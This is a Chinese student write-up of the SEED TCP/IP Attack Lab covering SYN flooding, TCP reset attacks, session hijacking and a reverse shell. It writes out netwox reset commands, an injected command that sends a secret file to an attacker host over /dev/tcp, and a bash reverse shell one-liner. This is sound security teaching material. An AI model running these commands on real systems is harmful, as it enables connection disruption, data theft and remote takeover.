seedlab实验TCP/IP Attack Lab

seedlab实验TCP/IP Attack Lab

一、实验目标

1.学习使用tcp工作原理
2.学会对tcp 的主要攻击类型,如SYN 泛洪攻击、TCP 复位攻击、TCP 会话劫持攻击(代码位于底部)

二、实验原理

传输控制协议是因特网协议簇中的一个核心协议。它位于网络层的上一层,为运
行在联网的计算机中的应
用提供一条可靠、有序的通信信道。
然而,当初进行TCP设计时并没有在协议中建立安全机制,因此本质上TCP连接是
不受保护的,这使得攻击者
有可能窃听连接,向连接注入伪造信息,破坏、劫持连接等。

三、实验步骤及运行结果

Task1、SYN 泛洪攻击

首先在进行攻击之前使用Telnet 连接,之后来检测SYN 泛洪攻击是否当前的连接造成影响。

seedlab实验TCP/IP Attack Lab_第1张图片

此时连接成功。

观察server 中的TCP 连接状态:

seedlab实验TCP/IP Attack Lab_第2张图片

并无半连接状态的连接。

然后在攻击端执行如下指令:

使用netwox 中的76 工具对10.0.2.1(server)进行,-s 意味着在ip4/ip6 对
数据包进行伪造,而不是链路层。
此时查看队列:

seedlab实验TCP/IP Attack Lab_第3张图片

出现了大量的半连接状态的tcp 连接。
但是telnet 依旧能连上,攻击失败。

根据实验指导手册应该是SYN cookies 防御机制的开启。
此时:

之后关闭该机制:

再次进行攻击,发现此时telnet 就无法连接了。

所以说:SYN cookies 防御机制并不是可以防止TCB 队列被半连接的状态填满,
而是哪怕被填满了,依旧可以进行tcp 的连接。

Task2.对telnet 和ssh 连接的TCP 复位攻击

1、使用 netwox
首先建立telnet 连接,在攻击端输入:

sudo netwox 78 -i 10.0.2.1

此时:
原本建立的telnet:

提示被外部主机终端。
之后使用:ssh 10.0.2.1 连接ssh
同样,在攻击端输入:

sudo netwox 78 -i 10.0.2.1

此时原本建立的ssh 连接被中断。

2、使用 scapy 模块
首先使用wireshark 抓取最新server 向client 端的tcp 包
信息为:

seedlab实验TCP/IP Attack Lab_第4张图片

Dst 端口为51804,数据长度为21,序列号为4334821241,下一个序列号为:
433482162。
所以可以写如下的脚本:

seedlab实验TCP/IP Attack Lab_第5张图片

执行之后:

之后对于ssh 连接:
和之前类似,只需要把端口改为22.

seedlab实验TCP/IP Attack Lab_第6张图片

所以脚本为:

seedlab实验TCP/IP Attack Lab_第7张图片

运行之后,ssh 连接断开:

Task3:视频流应用中的TCP 恢复攻击

理论上task3 和task2 的攻击很类似,但是难题是如何找到准确的序列号。可以
通过嗅探来实现。
在client 端打开网站观看视频:

seedlab实验TCP/IP Attack Lab_第8张图片

之后在攻击端:
可通过neteox 78 来实现:
输入:

sudo netwox 78 -i 10.0.2.4

或者编写脚本:
脚本如下:

seedlab实验TCP/IP Attack Lab_第9张图片

一段时间之后:

seedlab实验TCP/IP Attack Lab_第10张图片

Task4:TCP 会话劫持攻击

由于 TCP 协议并没有对 TCP 的传输包进行身份验证,所以在我们知道一个 TCP
连接中的 seq 和 ack 的信息后就可以很容易的伪造传输包,假装任意一方与另
一方进行通信,我们将这一过程称为 TCP 会话劫持

1、使用netwox
首先抓取最新的client 发向server 的数据包:

seedlab实验TCP/IP Attack Lab_第11张图片

可以获得源端口,目的端口,序列号,确认号
首先在攻击端输入

打开端口,之后用netwox – 40 工具包伪造数据包:
因为要发送的指令为:

\r cat /home/seed/Desktop/secret > /dev/tcp/10.0.2.11/9090\r

先将上述指令转化为16 进制:

之后使用如下指令:

伪造数据包,发送之后,攻击方显示:

成功打印secret。

之后也可以使用python 代码实现攻击:

可以根据获得的数据编写代码:

seedlab实验TCP/IP Attack Lab_第12张图片

最新的包如上,编写脚本如下:

seedlab实验TCP/IP Attack Lab_第13张图片

运行之后,结果如下:

打印成功。

Task5:使用TCP 会话劫持创建反向Shell

这一个实验需要server 执行:

/bin/bash -i > /dev/tcp/10.0.2.11/9090 2>&1 0<&1

抓取最新的包:

seedlab实验TCP/IP Attack Lab_第14张图片

可编写脚本如下:

seedlab实验TCP/IP Attack Lab_第15张图片

最后,建立shell 连接:

seedlab实验TCP/IP Attack Lab_第16张图片

攻击成功。

你可能感兴趣的:(seedlab,安全)